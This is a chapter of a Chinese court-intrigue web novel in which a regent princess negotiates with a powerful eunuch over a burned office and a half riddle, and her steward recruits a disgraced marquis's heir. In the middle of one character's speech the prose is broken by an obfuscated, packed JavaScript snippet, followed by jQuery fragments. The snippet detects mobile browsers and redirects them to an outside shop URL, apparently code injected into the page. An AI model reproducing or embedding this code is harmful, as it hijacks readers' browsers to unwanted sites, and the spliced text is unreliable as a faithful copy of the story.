周昭野奇道：“什么样的牵连，还能叫谢公公这样忌惮？”


    “连圣安司都说烧就给烧了，不管牵连的是谁，肯定是不怕咱家的。”谢辞渊道，“只不过烧了尸身能有什么用，这么久过去了，该查到的都查到了。”


    周昭野心尖一跳。


    自从她收到张彦的信，一直让兰止在暗中追查此事。此人进京不到半个月就被杀了，留下的痕迹少得可怜。她手里虽然有追杀张彦那杀手的尸体，更是没有什么收效。


    凶手本人没有任何背景，只是被雇佣的刀手，会出现在归去来，八成是在圣安司和京兆尹的追捕下走投无路，想去求归去来地下黑市帮忙，可惜还没摸进门去，就被各方势力发现了。


    张彦是江南随州人。她派了暗探去江南打探底细，可江南不知道是什么龙潭虎穴，暗探下去如同泥牛入海，无声无息地就消失了。派人去查问江南官府，然而交上来的回复只说张郎中已经无缘无故消失很久，上峰也很震怒。


    她早知道此事水深，只是选秀在即，各地都有琐事处理，没有心思查问。


    火光熊熊，映在她眼瞳里。圣安司百年的官府，横梁被烧断了，咣当一声巨响，消失在几丈高的火焰里。


    上百年来，圣安司都是皇家袖刀，积威甚重，谢辞渊不说只手遮天，也相差不远。这百年的官府说烧就烧，圣上的红人说杀就杀，哪里来的胆子？


    她或许太小瞧这件事了。


    谢辞渊没说话，周昭野沉吟半晌，问道：“谢公公查到哪一步了？”


    谢辞渊笑了一下，透出一些‘你还说不关心’的意思来。


    “咱家派人暗下江南，不过传回来的消息，都是些郑郎中生平，无甚可说。最关键的一处信息，的确倒还在郑郎中的尸身上。”谢辞渊不卖关子，直接道，“是一张纸条，不过语焉不详，咱家只能推测是个方位。”


    周昭野道：“方位？”


    “殿下大约心里有数，上次在归去来，叶锦和说郑郎中手里有一样要紧东西，与很多钱有关。咱家猜，或许这方位就与这东西有关吧。”


    “既然有方位，谢公公直接去找不就得了。”周昭野不动声色道，“还有圣安司翻不出来的东西？”


    谢辞渊道：“咱家与殿下说明白话，没有藏着掖着，殿下就不用下套了。那方位语焉不详，是半个字谜。圣安司再神通广大，缺这一步，也推不下去。”


    风陵津渡小重楼。周昭野想。


    “孤很有兴趣听听这半个字谜的内容。”


    谢辞渊失笑：“有个人为了掩盖这半个字谜把圣安司烧得跟他娘炉灶一样，咱家倒轻易就说？易地而处，殿下敢说吗？”


    周昭野一摊手：“有什么不敢的？烧都烧了，说出来，烫手山芋往外一扔，跟孤什么关系？”


    谢辞渊：“……”


    敢情烧的不是定国公主府。


    “咱家倒也不是不能说。”谢辞渊道，“上次在归去来时咱家跟殿下说的话，殿下心意回转吗？”


    周昭野一顿，谢辞渊轻飘飘地感慨道：“河洛的疫情，关外的战事，开了春还要选秀，说话间就是两场大婚。国库可捉襟见肘啊，殿下。”


    他娘的，周昭野心里想，没有天理了，人穷志短，太监都敢来拿捏她。


    截云关暂时倒不是大事，但疫情赈灾是没办法的事，至于大婚——她刚看过折子，预算七砍八砍，九十六万两白银。


    但毕竟是皇帝大婚，再砍下去就不像样了。


    气氛一时僵持，见周昭野不答，然而也没走。谢辞渊又轻轻道：“咱家记得殿下曾经说过，金枝玉叶，不受威胁。不如这样，咱家终究是想知道另外半个字谜在谁那儿，殿下帮咱家查查？”


    周昭野‘哦’了一声：“孤帮你？”


    谢辞渊上前一步，扶住了周昭野的车窗，微微仰头看着她，轻声细语地说：“我对殿下，终究是忠心的呀。”


    车内暗处，崔兰止在周昭野手背上轻轻叩了两下。


    周昭野似乎觉得很有意思，笑了一声，撂了车帘，示意车夫可以离开了。


    谢辞渊站在原地，语气轻的仿佛在问天，没头没尾道：“那些首饰，不喜欢么？”


    车架悠悠远去，很快就消失在长街尽头了。


    三日后小朝会又吵了个天翻地覆。


    周昭野人没去，只听说镇北侯最近新学会了阴阳怪气神功，亲切地问候谢公公怎么流年不利呀？是谁家开年门口死人，年后家被烧了啊？


    谢公公于是认为镇北侯府有纵火的嫌疑，下令圣安司彻查镇北侯府最近的往来人等，当天就查出镇北侯在侯府外有个相好，回禀时‘恰好’侯夫人就在场，差点跟镇北侯当场打起来……谢公公只说风凉话，说侯爷左拥右抱怎么就不记得正事，丢了的世子找到了吗？


    丢了的世子就差饿死在公主府门口了。


    周昭野奇道：“怎么连包子都吃不起了？”


    她和崔兰止两个藏在拐角处的阴影里，观察着不远处小摊上一脸窘迫的镇北侯世子。萧策今早显然是饿坏了，一来就叫了两屉包子，结果吃完正要摸兜，发现钱没了。


    这直性子公子哥儿压根不知道怎么跟摊主商议，只能在原地搓手站着，愤恨，委屈，并且很大只。


    崔兰止说：“我找了个扒手把他的钱偷走了……”


    周昭野感慨道：“你说这，哎呀，这，啧啧啧。”


    小脏活儿都处理不了，还想摆平大脏活儿？给那幕后庄家的牙都要笑掉了。


    不过倒这能看出来萧世子人品不错，不是仗势欺人的人。他一见之下便知武艺不凡，被那小贩揪着衣领痛批，只是笨嘴拙舌地解释，却并不恃武行凶，其实那摊子他掀两把也就翻了。


    周昭野拍了拍崔兰止，转身回府了。


    “我真的是钱被偷了，来你这里吃霸王餐，我会还你钱的……”萧策只会车轱辘话反复说，摊主揪着他大声道：“哎你这人，谁来我这儿吃完都说这么句话，我生意要不要做的啦？客人你讲点道理嘛！”


    萧策道：“老板你想怎么办，能帮你做到的，我都会帮你做到……”


    摊主说：“我就是想叫你还钱！客人你一看人高马大的，不像是没钱的人啊！”


    萧策只能再次车轱辘，那摊主眼尖，一眼扫到萧策腰上悬着的玉佩：“那你用这玉佩抵账吧！”


    萧策无奈道：“老板这个不行，这是我母亲送我的……”


    摊主横眉立目：“客人你这也不行那也不行，你想怎么的！”


    围观的人七嘴八舌：“哟，这么漂亮的小伙子……”


    “怎么吃个包子都不付钱呀……”


    “这世道，真是人不可貌相……”


    “光天化日就敢这么放肆……”


    萧策道：“这样，老板我把这个腰牌给你，你去镇北侯府找门房，就说是世子爷让你去销帐的，自然就……”


    “去你的，满嘴胡喷！”小摊主不可思议道，“你是镇北侯府世子，我还是皇帝呢！”


    萧策：“……”


    “你要真是什么世子，你怎么自己不去？”


    萧策：“……”


    小摊主道：“再说了那镇北侯府高门大户的，做事多他妈霸道！我去了再打我一顿！”


    萧策肉眼可见地萎靡了一分：“镇北侯府在京城行事作风竟然如此霸道吗……”


    小摊主一伸手，道：“少扯没有用的，还钱！”


    一块碎银轻轻搁在了小摊贩的手里，白衣而来的人仿佛神仙下凡：“这位公子的账，我替他结了。”


    摊主眼一立，掂了两下，立刻就满意了。喜笑颜开道：“哟这么多！得嘞！您二位坐！我再给您上壶茶！”


    萧策一愣：“你是……”


    那天在酒楼的？一直跟在定国公主身边的人？


    崔兰止道：“萧公子坐。公主府离镇北侯府不远，再闹下去，被镇北侯听到了可不是闹着玩的。”


    萧策只好也坐。崔兰止看了他一圈，只见这公子哥果然过得不好，还是那天从公主府出去时的一身黑衣，脏兮兮的，一看就知道没地方洗，头发都要打结了。


    “我姓崔，是殿下身边的长史。”崔兰止道，“这两天老是看见萧公子，今天看您好像有麻烦，才贸然出手，萧公子不要见怪。”


    萧策沉闷道：“你们京城人说话真弯弯绕绕，明明是你帮了我，怎么还叫我不要见怪？”


    崔兰止道：“举手之劳而已。萧公子怎么憔悴至此？”


    萧策丧道：“被人偷了钱，说来丢脸，我武艺不低，怎能如此简单就被小毛贼摸走荷包。”


    崔兰止心想当然是因为你被做局了，偷你钱包的不是什么毛贼，是前两年京城赫赫有名的神偷，偷个荷包，头不抬眼不睁一走一过的事儿，除非你常年在市井里打滚，接触各类三教九流，否则当然察觉不到。


    他装作和自己毫无关系的样子：“可惜，可惜。”


    萧策大概这几天被市井好顿毒打，已经看不出在公主府直呼定国殿下名讳的气焰，整个人沉定黯然了许多：“我……”


    他长长叹了口气：“没想到，此事竟然如此艰难。”


    他空有一些似是而非的线索，可离了镇北侯府世子的身份，去跟任何一个可能有关联的人说话，连人家的门房都进不去。他久在截云关，在京城连个年纪相仿的朋友都没有，也没个人出谋划策。


    仗着武功好，倒确实在一些暗处偷听到了什么似乎很关键的信息，然而没有前因后果，好像一块硕大的拼图，他是拼图中心的孤片，举目四顾，和哪里都接不上。


    京城的一切，似乎都要比战场上复杂得太多。


    只有一个曾经一起在军中上阵，后来被调回京城的故友裴彻，在最开始听说他的境况后把他放到了望江楼，可裴彻似乎也很忙，从望江楼出来后就失去了联系，听说是出京了。


    这几日他只认清了一件事。


    在京城，无论想做什么，如果没有人帮忙，都是绝对做不成的。而镇北侯府的旧友不是他的旧友，他父亲的纽带不是他的纽带，如果不想听父亲的打算，他必须自己想办法。


    这或许也是那全是臭架子的定国公主希望他明白的事吧。


    “人在低处，风尘中，真是能学到很多东西。我从未曾有过这样落魄的时候，见过这样多的世情。”萧策苦笑道：“公主殿下希望我做什么吗？”


    崔兰止有些惊奇：“萧公子知道……”


    “我本来不知道公主什么打算，但看到你往这里一坐，我就明白了。”萧策道，“你们是不是真觉得我是个傻子啊。”


    崔兰止失笑：“萧公子说笑了。”


    “十年前，我父亲谋反，连累满门。但因在乱军中我救了殿下一命，殿下力保我活下来，又跟了我公主府长史的身份，容我活到今天，大事小情，从未有一丝一毫的猜忌。”崔兰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270998|196829||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    止道，“我与萧公子说这个，是想告诉公子，殿下不是一个刻薄寡恩的人。”


    萧策道：“那又如何？”


    “公子所求，并不是一件小事。如果想要殿下帮你，那萧公子自然要有自己的诚意。”崔兰止徐徐道，“镇北侯府借闻阁老之事向殿下施压——”


    萧策皱眉道：“此事并非我意！”


    “不重要。”崔兰止截断他，“镇北侯府姓萧，你是萧家人，那这件事的性质已定。倘或不是你逃婚了，你我连坐在这里说这些话的机会都不会有。”


    “萧侯爷，想必世子是比我了解的。性情火爆，可粗中有细。对殿下固然有面上的恭敬，可细究其态度，这些年来殿下辅政，朝中牝鸡司晨这样难听的话从来就没断过。”


    “我父亲没说过。”


    “明面上没说过。”崔兰止静静道，“镇北侯府没说过，兵部没说过吗？兵部现在是谁说了算呢？”


    萧策沉默了，半晌说：“这是天子的朝廷……”


    崔兰止一哂，萧策也说不下去了。


    天子的脑子还没个……


    “殿下最近在查一件大事。”崔兰止道，“此事我经手查了一段日子，我只能说，非常险。牵连甚广，未必比西北军需背后的这个人简单。倘或殿下帮世子查西北军需，世子能帮殿下这个忙吗？”


    萧策道：“我在兵部说不上话。”


    崔兰止道：“殿下只要世子这个人。”


    萧策疑惑道：“我能做什么？”


    “在殿下要查的这件事水落石出之前，萧公子是否愿意以公主府属官的身份随侍左右？这件事一日不水落石出，萧公子一日不回截云关。倘或殿下不日离开京城，萧公子需跟随在侧，保护殿下周全。”崔兰止道，“这是桩公平交易。”


    萧策一愣，随即突然意识到——此事不是不行！


    过不了多久镇北侯就要回截云关坐镇，眼瞧着暴躁老爹的意思是不想让自己离开京城——这事儿可以再商量——而他只要不娶公主，还跟家里倔着，那兵部的官职是不可能给他起复的。


    可公主府完全是镇北侯府势力范围之外，如果他进公主府，诸事便宜，也谁都管不了他！


    就是名声不好听……堂堂镇北侯世子，去给定国殿下当属官……


    “其实殿下的意思就只是到这里。”崔兰止道，“这是有里子没面子的事，所以只怕公子在乎脸面不肯。”


    然而萧策没想多久就斩钉截铁道：“可以！我不是在乎面子的人！”


    镇北侯世子都满街乱窜去给酒楼跑堂了，他在乎什么面子？


    “但我不是这么想的。”崔兰止却话锋一转。


    萧策奇道：“你？”


    你不是公主府的长史吗？你才纯粹是定国殿下的属官，你有什么多余的好想的？


    “兵部，镇北侯，朝廷上的太多人对殿下的态度都微妙了很多年了。我看世子爷是不说谎的人，所以想问世子爷一句。”崔兰止道，“对于‘牝鸡司晨’这句话，世子爷到底怎么看的？”


    这话问的不可谓不尖锐。


    不管皇帝性情才干如何，但其实大家都知道，定国辅政，终究只是‘辅’政。随着这二位各自大婚，该回去贤良淑德的，该上朝独揽朝纲的，都是迟早的事，甚至迫在眉睫。


    这或许也是那些老学究们忍受定国公主的本质原因：就算牝鸡司晨了，能怎么样？她还能再思几天？这个问题只会拿出来说嘴，但不会真的认真讨论，因为时限迫在眉睫。


    所以皇帝选秀，各方都有小心思，哪怕一向不爱权斗的殿下，也亲自在民间挑了个美貌女子，试图不叫皇后之位旁落。


    可不该是这样的。崔兰止想，这朝廷上的事不该是这样的。


    这么多年来他眼睁睁看着周昭野如何夙兴夜寐地处理朝政，而自从先帝死后，四方军权旁落，皇家弹压朝堂无力，皇帝躲进后宫，一点做正事的心思都没有。各地的贪腐，日渐庞大的阉党……


    只有权斗才是活路吗？如果大家都只为了私利而把水搅浑，登上高位，那等到登上高位之后呢？治理什么？


    镇北侯敢当面跳脸要钱，他们都知道萧破军那么要钱，一定是自己贪了不少，可他就是敢来公主府拍桌子。跳完脸后竟然大言不惭地去找闻阁老提亲，崔兰止不在乎自己的颜面，可闻阁老当面向殿下施压，算盘珠子简直都要崩到殿下脸上来。


    为什么执政这么多年，殿下仍有这么多掣肘？


    还不如就和谢辞渊结盟！至少太监还会做些表面功夫！


    “我不知道你们京城里这些事那些事的。”萧策说，“我读书也不多。不过我也有个问题。”


    崔兰止神色淡淡，挑了下眉，示意萧策说。


    “如果这个天下只是需要天亮起来。”萧策问，“是公鸡叫亮的还是母鸡叫亮的，这重要吗？”


    天刚刚黑下来。


    公主府，银安殿。


    “他这么说啊。”周昭野笑了一声，“确实比他爹招人喜欢多了。”


    崔兰止道：“这样我们就有时间了。”


    “是啊……”周昭野喃喃道，“不管出于什么目的，我把萧策放在身边，至少老师会满意，镇北侯就算知道了也不会说什么——大不了让他觉得这是我和萧策的事有戏，我看他也不会在意这一点脸面。”


    她有些惆怅地叹了口气，抬头凝视崔兰止：“我把萧策这样放在身边，你不生气吗？”